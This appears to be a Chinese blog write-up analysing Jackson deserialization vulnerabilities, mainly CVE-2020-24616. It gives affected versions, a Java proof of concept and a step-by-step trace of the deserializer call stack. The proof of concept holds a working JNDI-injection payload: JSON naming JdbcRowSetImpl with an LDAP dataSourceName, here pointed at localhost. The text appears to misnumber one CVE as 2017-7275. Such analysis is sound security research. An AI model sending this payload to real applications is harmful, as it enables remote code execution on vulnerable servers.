0%

jackson—CVE-2020-24616

Jackson反序列化漏洞

最开始的cve包含以下两个

CVE-2017-7275

CVE-2017-17485

由于CVE-2017-7275采用黑名单的方法修复程序,CVE-2017-17485是绕过该黑名单.

影响版本

  • Jackson Version 2.7.* < 2.7.10
  • Jackson Version 2.8.* < 2.8.9

CVE-2020-24616

  • Jackson Version <= 2.9.10.6

漏洞复现(CVE-2020-24616,其他的也差不多)

以JNDI注入做分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package main.java.jackson;

import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class test {
public static void main(String[] args) throws IOException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
String json = "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:7777/test\",\"autoCommit\":true}";
objectMapper.readValue(json, Object.class);
}
}

img

调试分析

我们主要分析jackson是如何调用到相关类的setter/getter属性

在JdbcRowSetImpl的setautoCommit处下个断点

img

观察其调用栈,首先调用到readvalue方法

img

先对我们传入的json数据进行了一个解析,然后调用_readMapAndClose方法

img

紧接着调用TypeWrappedDeserializer的deserialize方法,ctxt是默认的反序列化上下文,p是我们刚刚解析的json数据

img

接着调用UntypedObjectDeserializer下一个静态类Vanilla的deserializeWithType方法

img

p.getCurrentTokenId()返回的是1,继续调用AsPropertyTypeDeserializer的deserializeTypedFromAny方法

img

继续调用deserializeTypedFromObject方法,到这里

img

调用_deserializeTypedForId方法

img

调用BeanDeserializer的deserialize方法

img

继续调用_deserializeOther方法

img

由于t的值是FIELD_NAME,所以继续调用vanillaDeserialize方法

img

将JdbcRowSetImpl的对象赋值给bean,_valueInstantiator.createUsingDefault(ctxt);是通过注解来赋值的,然后对传入的被解析json数据进行一个遍历,获取其Filed值,当轮到autoCommit时,调用MethodProperty的deserializeAndSet方法

img

调用相应的setter方法

设置mapper.enableDefaultTyping()的原因

我们将相关代码注释

img

可以发现,一个得到的是UntypeedObjectContext,另一个是DefaultContext,这样也无法进入